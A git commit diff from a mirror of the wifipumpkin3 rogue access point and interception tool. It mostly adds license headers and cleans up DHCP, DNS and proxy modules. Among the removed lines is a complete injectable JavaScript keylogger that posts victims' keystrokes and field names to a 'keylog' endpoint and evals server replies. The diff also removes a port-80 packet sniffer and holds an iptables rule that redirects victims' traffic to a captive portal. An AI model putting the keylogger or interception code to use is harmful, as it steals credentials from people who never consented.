mirror of
https://github.com/Cronocide/wifipumpkin3.git
synced 2025-01-22 19:37:18 +00:00
added partial codereview on servers plugins and proxys
This commit is contained in:
parent
0e6dcc3126
commit
64285ffef2
@ -7,6 +7,7 @@ All notable changes to this project will be documented in this file.
|
||||
## [1.0.0] - 2020-04-02
|
||||
|
||||
### Added
|
||||
- added partial codereview on servers plugins and proxys [mh4x0f]
|
||||
- added license header all files in core/packets and controls [mh4x0f]
|
||||
- added license header all files in core/common [mh4x0f]
|
||||
- added start tool with finish install on docker [mh4x0f]
|
||||
|
@ -6,6 +6,22 @@ from wifipumpkin3.core.utility.component import ComponentBlueprint
|
||||
from isc_dhcp_leases.iscdhcpleases import IscDhcpLeases
|
||||
from wifipumpkin3.core.controls.threads import ProcessThread
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class DHCPServers(QtCore.QObject,ComponentBlueprint):
|
||||
Name = "Generic"
|
||||
@ -19,19 +35,17 @@ class DHCPServers(QtCore.QObject,ComponentBlueprint):
|
||||
|
||||
self.DHCPConf = self.Settings.confingDHCP
|
||||
|
||||
# def controlcheck(self,object):
|
||||
# self.FSettings.Settings.set_setting('dhcpserver', self.ID, self.controlui.isChecked())
|
||||
|
||||
def prereq(self):
|
||||
pass
|
||||
# dh, gateway = self.DHCPConf['router'], Linux.get_interfaces()
|
||||
# # dh, gateway = self.PumpSettingsTAB.getPumpkinSettings()['router'],str(self.EditGateway.text())
|
||||
# if dh[:len(dh) - len(dh.split('.').pop())] == gateway[:len(gateway) - len(gateway.split('.').pop())]:
|
||||
# print(display_messages('DHCP Server settings',
|
||||
# 'The DHCP server check if range ip class is same.'
|
||||
# 'it works, but not share internet connection in some case.\n'
|
||||
# 'for fix this, You need change on tab (settings -> Class Ranges)'
|
||||
# 'now you have choose the Class range different of your network.',error=True))
|
||||
dh, gateway = self.DHCPConf['router'], Linux.get_interfaces()
|
||||
if dh[:len(dh) - len(dh.split('.').pop())] == gateway[:len(gateway) - len(gateway.split('.').pop())]:
|
||||
#TODO: create exception file system message
|
||||
print(display_messages('DHCP Server settings \n \
|
||||
The DHCP server check if range ip class is same. \
|
||||
it works, but not share internet connection in some case.\n \
|
||||
for fix this, You need change on tab (settings -> Class Ranges) \
|
||||
now you have choose the Class range different of your network',
|
||||
error=True))
|
||||
exit(1)
|
||||
|
||||
|
||||
def isChecked(self):
|
||||
@ -58,7 +72,7 @@ class DHCPServers(QtCore.QObject,ComponentBlueprint):
|
||||
print(self.command,self.commandargs)
|
||||
self.reactor = ProcessThread({self.command: self.commandargs})
|
||||
self.reactor._ProcssOutput.connect(self.LogOutput)
|
||||
self.reactor.setObjectName(self.Name) # use dns2proxy as DNS server
|
||||
self.reactor.setObjectName(self.Name)
|
||||
|
||||
@property
|
||||
def command(self):
|
||||
@ -77,69 +91,6 @@ class DHCPServers(QtCore.QObject,ComponentBlueprint):
|
||||
d_vendor = 'unknown mac'
|
||||
return d_vendor
|
||||
|
||||
# def add_data_into_QTableWidget(self,client):
|
||||
# self.HomeDisplay.ClientTable.addNextWidget(client)
|
||||
|
||||
# def add_DHCP_Requests_clients(self,mac,user_info):
|
||||
# self.parent.StationMonitor.addRequests(mac,user_info,True)
|
||||
|
||||
# def get_DHCP_Discover_clients(self,message):
|
||||
# '''get infor client connected with AP '''
|
||||
# self.APclients = {}
|
||||
# if message['mac_addr'] not in self.HomeDisplay.ClientTable.APclients.keys():
|
||||
# self.APclients[message['mac_addr']] = \
|
||||
# {'IP': message['ip_addr'],
|
||||
# 'device': message['host_name'],
|
||||
# 'MAC': message['mac_addr'],
|
||||
# 'Vendors' : self.get_mac_vendor(message['mac_addr'])}
|
||||
|
||||
# self.add_DHCP_Requests_clients(message['mac_addr'],self.APclients[message['mac_addr']])
|
||||
# self.add_data_into_QTableWidget(self.APclients)
|
||||
# self.parent.connectedCount.setText(str(len(self.HomeDisplay.ClientTable.APclients.keys())))
|
||||
|
||||
# def get_DHCP_Requests_clients(self,data):
|
||||
# ''' filter: data info sended DHCPD request '''
|
||||
# self.APclients = {}
|
||||
# if len(data) == 8:
|
||||
# device = sub(r'[)|(]',r'',data[5])
|
||||
# if len(device) == 0: device = 'unknown'
|
||||
# if Refactor.check_is_mac(data[4]):
|
||||
# if data[4] not in self.HomeDisplay.APclients.keys():
|
||||
# self.APclients[data[4]] = {'IP': data[2],
|
||||
# 'device': device,'MAC': data[4],'Vendors' : self.get_mac_vendor(data[4])}
|
||||
# self.add_DHCP_Requests_clients(data[4],self.APclients[data[4]])
|
||||
# elif len(data) == 9:
|
||||
# device = sub(r'[)|(]',r'',data[6])
|
||||
# if len(device) == 0: device = 'unknown'
|
||||
# if Refactor.check_is_mac(data[5]):
|
||||
# if data[5] not in self.HomeDisplay.ClientTable.APclients.keys():
|
||||
# self.APclients[data[5]] = {'IP': data[2],
|
||||
# 'device': device,'MAC': data[5],'Vendors' : self.get_mac_vendor(data[5])}
|
||||
# self.add_DHCP_Requests_clients(data[5],self.APclients[data[5]])
|
||||
# elif len(data) == 7:
|
||||
# if Refactor.check_is_mac(data[4]):
|
||||
# if data[4] not in self.HomeDisplay.ClientTable.APclients.keys():
|
||||
# leases = IscDhcpLeases(C.DHCPLEASES_PATH)
|
||||
# hostname = None
|
||||
# try:
|
||||
# for item in leases.get():
|
||||
# if item.ethernet == data[4]:
|
||||
# hostname = item.hostname
|
||||
# if hostname == None:
|
||||
# item = leases.get_current()
|
||||
# hostname = item[data[4]]
|
||||
# except:
|
||||
# hostname = 'unknown'
|
||||
# if hostname == None or len(hostname) == 0:hostname = 'unknown'
|
||||
# self.APclients[data[4]] = {'IP': data[2],'device': hostname,
|
||||
# 'MAC': data[4], 'Vendors': self.get_mac_vendor(data[4])}
|
||||
# self.add_DHCP_Requests_clients(data[4],self.APclients[data[4]])
|
||||
# if self.APclients != {}:
|
||||
# self.add_data_into_QTableWidget(self.APclients)
|
||||
# self.parent.connectedCount.setText(str(len(self.HomeDisplay.ClientTable.APclients.keys())))
|
||||
|
||||
|
||||
|
||||
class DHCPSettings(CoreSettings):
|
||||
Name = "WP DHCP"
|
||||
ID = "DHCP"
|
||||
|
@ -1,6 +1,22 @@
|
||||
from wifipumpkin3.core.packets.dhcpserver import DHCPThread
|
||||
from wifipumpkin3.core.servers.dhcp.dhcp import DHCPServers
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class PyDHCP(DHCPServers):
|
||||
Name = "Python DHCP Server"
|
||||
@ -24,8 +40,6 @@ class PyDHCP(DHCPServers):
|
||||
self._connected[data['MAC']] = data
|
||||
|
||||
def boot(self):
|
||||
#if (not hasattr(self, 'reactor')):
|
||||
self.reactor = DHCPThread(self.ifaceHostapd,self.DHCPConf)
|
||||
self.reactor.DHCPProtocol._request.connect(self.get_DHCPoutPut)
|
||||
self.reactor.setObjectName(self.ID)
|
||||
#self.reactor.LoopDhcpStatus = True
|
||||
self.reactor.setObjectName(self.ID)
|
@ -1,11 +1,27 @@
|
||||
import weakref
|
||||
from wifipumpkin3.core.config.globalimport import *
|
||||
from wifipumpkin3.core.common.uimodel import *
|
||||
#from core.widgets.default.SessionConfig import SessionConfig
|
||||
from wifipumpkin3.core.utility.component import ComponentBlueprint
|
||||
from wifipumpkin3.core.controls.threads import (ProcessThread)
|
||||
from wifipumpkin3.core.widgets.default.logger_manager import LoggerManager
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class DNSBase(QtCore.QObject,ComponentBlueprint):
|
||||
Name = "DNSBaseClass"
|
||||
ID = "DNSBase"
|
||||
@ -14,8 +30,7 @@ class DNSBase(QtCore.QObject,ComponentBlueprint):
|
||||
ExecutableFile = ""
|
||||
LogFile = ""
|
||||
hasPreference = False
|
||||
arguments =[['label','switch','type','defaultvalue','enabled','required'],
|
||||
]
|
||||
arguments =[['label','switch','type','defaultvalue','enabled','required'],]
|
||||
|
||||
addDock = QtCore.pyqtSignal(object)
|
||||
def __init__(self,parent,**kwargs):
|
||||
@ -56,7 +71,7 @@ class DNSBase(QtCore.QObject,ComponentBlueprint):
|
||||
def boot(self):
|
||||
self.reactor = ProcessThread({self.command: self.commandargs})
|
||||
self.reactor._ProcssOutput.connect(self.LogOutput)
|
||||
self.reactor.setObjectName(self.Name) # use dns2proxy as DNS server
|
||||
self.reactor.setObjectName(self.ID)
|
||||
|
||||
def LogOutput(self,data):
|
||||
if self.conf.get('accesspoint', 'statusAP', format=bool):
|
||||
|
@ -2,6 +2,23 @@ from wifipumpkin3.core.config.globalimport import *
|
||||
from wifipumpkin3.core.servers.dns.DNSBase import DNSBase
|
||||
from wifipumpkin3.core.packets.dnsserver import DNSServerThread
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class PyDNSServer(DNSBase):
|
||||
ID = "pydns_server"
|
||||
Name = "PyDNS Server"
|
||||
@ -23,4 +40,4 @@ class PyDNSServer(DNSBase):
|
||||
def boot(self):
|
||||
self.reactor = DNSServerThread(self.conf)
|
||||
self.reactor.sendRequests.connect(self.LogOutput)
|
||||
self.reactor.setObjectName(self.ID) # use dns2proxy as DNS server
|
||||
self.reactor.setObjectName(self.ID)
|
||||
|
@ -1,126 +0,0 @@
|
||||
from threading import Thread
|
||||
from core.utility.collection import SettingsINI
|
||||
try:
|
||||
from mitmproxy import controller,flow,master
|
||||
from plugins.extension import *
|
||||
except:
|
||||
pass
|
||||
|
||||
import core.utility.constants as C
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Description:
|
||||
This program is a core for wifi-pumpkin.py. file which includes functionality
|
||||
for Pumpkin-Proxy Core.
|
||||
|
||||
Copyright:
|
||||
Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||
"""
|
||||
|
||||
class ThreadController(Thread):
|
||||
def __init__(self,main ,parent=None):
|
||||
super(ThreadController, self).__init__(parent)
|
||||
self.main = main
|
||||
|
||||
def run(self):
|
||||
try:
|
||||
master.Master.run(self.main)
|
||||
except :
|
||||
self.main.shutdown()
|
||||
|
||||
def stop(self):
|
||||
self.main.shutdown()
|
||||
|
||||
|
||||
class MasterHandler(master.Master):
|
||||
def __init__(self,opts, server,session):
|
||||
master.Master.__init__(self,opts, server)
|
||||
self.config = SettingsINI(C.CONFIG_PP_INI)
|
||||
self.session = session
|
||||
self.plugins = []
|
||||
self.initializePlugins()
|
||||
|
||||
def run(self,send):
|
||||
self.sendMethod = send
|
||||
for plugin in self.plugins:
|
||||
plugin.send_output = self.sendMethod
|
||||
self.thread = ThreadController(self)
|
||||
self.thread.start()
|
||||
|
||||
def disablePlugin(self,name, status):
|
||||
''' disable plugin by name '''
|
||||
plugin_on = []
|
||||
if status:
|
||||
for plugin in self.plugins:
|
||||
plugin_on.append(plugin.Name)
|
||||
if name not in plugin_on:
|
||||
for p in self.plugin_classes:
|
||||
pluginconf = p()
|
||||
if pluginconf.Name == name:
|
||||
pluginconf.send_output = self.sendMethod
|
||||
print('PumpkinProxy::{0:17} status:On'.format(name))
|
||||
self.plugins.append(pluginconf)
|
||||
else:
|
||||
for plugin in self.plugins:
|
||||
if plugin.Name == name:
|
||||
print('PumpkinProxy::{0:17} status:Off'.format(name))
|
||||
self.plugins.remove(plugin)
|
||||
|
||||
def initializePlugins(self):
|
||||
self.plugin_classes = plugin.PluginTemplate.__subclasses__()
|
||||
for p in self.plugin_classes:
|
||||
if self.config.get('plugins',p().Name,format=bool):
|
||||
print('PumpkinProxy::{0:17} status:On'.format(p().Name))
|
||||
self.plugins.append(p())
|
||||
# initialize logging in all plugins enable
|
||||
#for instance in self.plugins:
|
||||
# instance.init_logger(self.session)
|
||||
|
||||
@controller.handler
|
||||
def request(self, flow):
|
||||
'''
|
||||
print "-- request --"
|
||||
print flow.__dict__
|
||||
print flow.request.__dict__
|
||||
print flow.request.headers.__dict__
|
||||
print "--------------"
|
||||
print
|
||||
'''
|
||||
try:
|
||||
for p in self.plugins:
|
||||
p.request(flow)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
@controller.handler
|
||||
def response(self, flow):
|
||||
|
||||
'''
|
||||
print
|
||||
print "-- response --"
|
||||
print flow.__dict__
|
||||
print flow.response.__dict__
|
||||
print flow.response.headers.__dict__
|
||||
print "--------------"
|
||||
print
|
||||
'''
|
||||
try:
|
||||
for p in self.plugins:
|
||||
p.response(flow)
|
||||
except Exception:
|
||||
pass
|
@ -1,117 +0,0 @@
|
||||
window.onload = function (){
|
||||
var2 = ",";
|
||||
name = '';
|
||||
function make_xhr(){
|
||||
var xhr;
|
||||
try {
|
||||
xhr = new XMLHttpRequest();
|
||||
} catch(e) {
|
||||
try {
|
||||
xhr = new ActiveXObject("Microsoft.XMLHTTP");
|
||||
} catch(e) {
|
||||
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
|
||||
}
|
||||
}
|
||||
if(!xhr) {
|
||||
throw "failed to create XMLHttpRequest";
|
||||
}
|
||||
return xhr;
|
||||
}
|
||||
|
||||
xhr = make_xhr();
|
||||
xhr.onreadystatechange = function() {
|
||||
if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
|
||||
eval(xhr.responseText);
|
||||
}
|
||||
}
|
||||
|
||||
if (window.addEventListener){
|
||||
//console.log("first");
|
||||
document.addEventListener('keypress', function2, true);
|
||||
document.addEventListener('keydown', function1, true);
|
||||
}
|
||||
else if (window.attachEvent){
|
||||
//console.log("second");
|
||||
document.attachEvent('onkeypress', function2);
|
||||
document.attachEvent('onkeydown', function1);
|
||||
}
|
||||
else {
|
||||
//console.log("third");
|
||||
document.onkeypress = function2;
|
||||
document.onkeydown = function1;
|
||||
}
|
||||
}
|
||||
|
||||
function function2(e)
|
||||
{
|
||||
try
|
||||
{
|
||||
srcname = window.event.srcElement.name;
|
||||
}catch(error)
|
||||
{
|
||||
srcname = e.srcElement ? e.srcElement.name : e.target.name
|
||||
if (srcname == "")
|
||||
{
|
||||
srcname = e.target.name
|
||||
}
|
||||
}
|
||||
|
||||
var3 = (e) ? e.keyCode : e.which;
|
||||
if (var3 == 0)
|
||||
{
|
||||
var3 = e.charCode
|
||||
}
|
||||
|
||||
if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13)
|
||||
{
|
||||
andxhr(var3.toString(16), srcname);
|
||||
}
|
||||
}
|
||||
|
||||
function function1(e)
|
||||
{
|
||||
try
|
||||
{
|
||||
srcname = window.event.srcElement.name;
|
||||
}catch(error)
|
||||
{
|
||||
srcname = e.srcElement ? e.srcElement.name : e.target.name
|
||||
if (srcname == "")
|
||||
{
|
||||
srcname = e.target.name
|
||||
}
|
||||
}
|
||||
|
||||
var3 = (e) ? e.keyCode : e.which;
|
||||
if (var3 == 9 || var3 == 8 || var3 == 13)
|
||||
{
|
||||
andxhr(var3.toString(16), srcname);
|
||||
}
|
||||
else if (var3 == 0)
|
||||
{
|
||||
|
||||
text = document.getElementById(id).value;
|
||||
if (text.length != 0)
|
||||
{
|
||||
andxhr(text.toString(16), srcname);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
function andxhr(key, inputName)
|
||||
{
|
||||
if (inputName != name)
|
||||
{
|
||||
name = inputName;
|
||||
var2 = ",";
|
||||
}
|
||||
var2= var2 + key + ",";
|
||||
xhr.open("POST", "keylog", true);
|
||||
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
||||
xhr.send(var2 + '&&' + inputName);
|
||||
|
||||
if (key == 13 || var2.length > 3000)
|
||||
{
|
||||
var2 = ",";
|
||||
}
|
||||
}
|
@ -7,6 +7,23 @@ from wifipumpkin3.core.common.uimodel import *
|
||||
from wifipumpkin3.core.config.globalimport import *
|
||||
from wifipumpkin3.core.widgets.default.logger_manager import LoggerManager
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class Widget(Qt.QObject):
|
||||
def __init__(self,parent):
|
||||
Qt.QObject.__init__(self,parent)
|
||||
@ -22,7 +39,6 @@ class MitmDock(DockableWidget):
|
||||
super(MitmDock,self).__init__(parent,title,info)
|
||||
self.setObjectName(self.title)
|
||||
|
||||
|
||||
class MitmMode(Widget):
|
||||
Name = "Generic"
|
||||
ID = "Generic"
|
||||
@ -49,8 +65,7 @@ class MitmMode(Widget):
|
||||
|
||||
if (self.getConfigINIPath != ''):
|
||||
self.config = SettingsINI(self.getConfigINIPath)
|
||||
#setup_logger(self.Name, self.LogFile, self.parent.currentSessionID)
|
||||
#self.logger = getLogger(self.Name)
|
||||
|
||||
self.loggermanager = LoggerManager.getInstance()
|
||||
self.configure_logger()
|
||||
|
||||
@ -114,17 +129,6 @@ class MitmMode(Widget):
|
||||
def hasSettings(self):
|
||||
return self.ModSettings
|
||||
|
||||
def CheckOptions(self):
|
||||
self.FSettings.Settings.set_setting('mitmhandler', self.Name, self.controlui.isChecked())
|
||||
self.dockwidget.addDock.emit(self.controlui.isChecked())
|
||||
if self.ModSettings:
|
||||
self.btnChangeSettings.setEnabled(self.controlui.isChecked())
|
||||
if self.controlui.isChecked() == True:
|
||||
self.setEnabled(True)
|
||||
else:
|
||||
self.setEnabled(False)
|
||||
self.Initialize()
|
||||
|
||||
def Initialize(self):
|
||||
self.SetRules()
|
||||
|
||||
@ -151,18 +155,8 @@ class MitmMode(Widget):
|
||||
self.reactor.terminate()
|
||||
|
||||
def LogOutput(self,data):
|
||||
#self.dockwidget.writeModeData(line)
|
||||
if self.conf.get('accesspoint', 'statusAP', format=bool):
|
||||
self.logger.info(data)
|
||||
# if self.FSettings.Settings.get_setting('accesspoint', 'statusAP', format=bool):
|
||||
# try:
|
||||
# data = str(data).split(' : ')[1]
|
||||
# for line in data.split('\n'):
|
||||
# if len(line) > 2 and not self.parent.currentSessionID in line:
|
||||
# self.dockwidget.writeModeData(line)
|
||||
# self.logger.info(line)
|
||||
# except IndexError:
|
||||
# return None
|
||||
|
||||
|
||||
|
||||
|
@ -4,6 +4,22 @@ from wifipumpkin3.core.config.globalimport import *
|
||||
from wifipumpkin3.core.widgets.docks.dock import DockableWidget
|
||||
from wifipumpkin3.core.controls.threads import ProcessThread
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class NetCredential(DockableWidget):
|
||||
id = "Responder3"
|
||||
|
@ -9,6 +9,23 @@ from wifipumpkin3.plugins.analyzers import *
|
||||
from wifipumpkin3.core.widgets.docks.dock import DockableWidget
|
||||
from wifipumpkin3.core.servers.mitm.mitmmode import MitmMode
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class TCPProxyDock(DockableWidget):
|
||||
id = "TCPProxy"
|
||||
title = "TCPProxy"
|
||||
|
@ -1,94 +0,0 @@
|
||||
from PyQt5.QtCore import QThread,pyqtSignal
|
||||
from time import sleep,asctime,strftime
|
||||
from threading import Thread
|
||||
import queue
|
||||
from scapy.all import *
|
||||
import logging
|
||||
from wifipumpkin3.plugins.analyzers import *
|
||||
from wifipumpkin3.core.utility.collection import SettingsINI
|
||||
import wifipumpkin3.core.utility.constants as C
|
||||
from wifipumpkin3.core.utility.printer import display_messages,colors
|
||||
|
||||
"""
|
||||
Description:
|
||||
This program is a core for wifi-pumpkin.py. file which includes functionality
|
||||
for TCPProxy Core.
|
||||
|
||||
"""
|
||||
|
||||
class TH_SniffingPackets(QThread):
|
||||
output_plugins = pyqtSignal(object)
|
||||
def __init__(self,interface,session):
|
||||
QThread.__init__(self)
|
||||
self.interface = interface
|
||||
self.session = session
|
||||
self.stopped = False
|
||||
self.config = SettingsINI(C.CONFIG_TP_INI)
|
||||
self.msg_output = []
|
||||
self.queue_plugins = queue.Queue()
|
||||
|
||||
def run(self):
|
||||
self.main()
|
||||
|
||||
def sniffer(self,q):
|
||||
while not self.stopped:
|
||||
try:
|
||||
sniff(iface=self.interface,
|
||||
filter="tcp and ( port 80 )",
|
||||
prn =lambda x : q.put(x), store=0)
|
||||
except Exception:pass
|
||||
if self.stopped:
|
||||
break
|
||||
|
||||
def disablePlugin(self,name, status):
|
||||
''' disable plugin by name '''
|
||||
plugin_on = []
|
||||
if status:
|
||||
for plugin in self.plugins:
|
||||
plugin_on.append(self.plugins[plugin].Name)
|
||||
if name not in plugin_on:
|
||||
for p in self.plugin_classes:
|
||||
pluginconf = p()
|
||||
if pluginconf.Name == name:
|
||||
self.plugins[name] = pluginconf
|
||||
self.plugins[name].getInstance()._activated = True
|
||||
#print('TCPProxy::{0:17} status:On'.format(name))
|
||||
else:
|
||||
#print('TCPProxy::{0:17} status:Off'.format(name))
|
||||
self.plugins.pop(self.plugins[name].Name)
|
||||
|
||||
|
||||
def get_output_activated(self):
|
||||
while not self.stopped:
|
||||
self.msg_output.append(self.queue_plugins.get())
|
||||
|
||||
def main(self):
|
||||
self.plugins = {}
|
||||
self.plugin_classes = default.PSniffer.__subclasses__()
|
||||
for p in self.plugin_classes:
|
||||
plugin_load = p()
|
||||
self.plugins[plugin_load.Name] = plugin_load
|
||||
self.plugins[plugin_load.Name].output = self.output_plugins
|
||||
self.plugins[plugin_load.Name].session = self.session
|
||||
|
||||
for name in self.plugins.keys():
|
||||
if self.config.get('plugins', name, format=bool):
|
||||
self.plugins[name].getInstance()._activated = True
|
||||
#print('TCPProxy::{0:17} status:On'.format(name))
|
||||
q = queue.Queue()
|
||||
sniff = Thread(target =self.sniffer, args = (q,))
|
||||
sniff.start()
|
||||
while (not self.stopped):
|
||||
try:
|
||||
pkt = q.get(timeout = 0)
|
||||
for Active in self.plugins.keys():
|
||||
if self.plugins[Active].getInstance()._activated:
|
||||
try:
|
||||
self.plugins[Active].filterPackets(pkt)
|
||||
except Exception: pass
|
||||
except queue.Empty:
|
||||
pass
|
||||
|
||||
def stop(self):
|
||||
self.stopped = True
|
||||
print('Thread::[{}] successfully stopped.'.format(self.objectName()))
|
@ -13,6 +13,23 @@ from wifipumpkin3.core.widgets.docks.dock import DockableWidget
|
||||
from wifipumpkin3.plugins.captivePortal import *
|
||||
from ast import literal_eval
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class TCPProxyDock(DockableWidget):
|
||||
id = "TCPProxy"
|
||||
title = "TCPProxy"
|
||||
@ -53,7 +70,6 @@ class CaptivePortal(ProxyMode):
|
||||
self.setTypePlugin(self.TypePlugin)
|
||||
self.plugins = []
|
||||
self.search_all_ProxyPlugins()
|
||||
#self.setRunningPort(self.conf.get('proxy_plugins', 'pumpkinproxy_config_port'))
|
||||
|
||||
@property
|
||||
def CMD_ARRAY(self):
|
||||
@ -88,7 +104,6 @@ class CaptivePortal(ProxyMode):
|
||||
self.defaults_rules[self.ID].append('iptables -t nat -A PREROUTING -i {iface} -p tcp --dport 80 -j DNAT --to-destination {ip}:{port}'.format(iface=IFACE,ip=IP_ADDRESS, port=PORT))
|
||||
self.runDefaultRules()
|
||||
|
||||
|
||||
@property
|
||||
def getPlugins(self):
|
||||
commands = self.config.get_all_childname('plugins')
|
||||
|
@ -1,6 +1,23 @@
|
||||
from wifipumpkin3.core.common.uimodel import *
|
||||
from wifipumpkin3.core.servers.proxy.proxymode import ProxyMode
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class NoProxy(ProxyMode):
|
||||
Name="noproxy"
|
||||
ID="noproxy"
|
||||
|
@ -1,4 +1,3 @@
|
||||
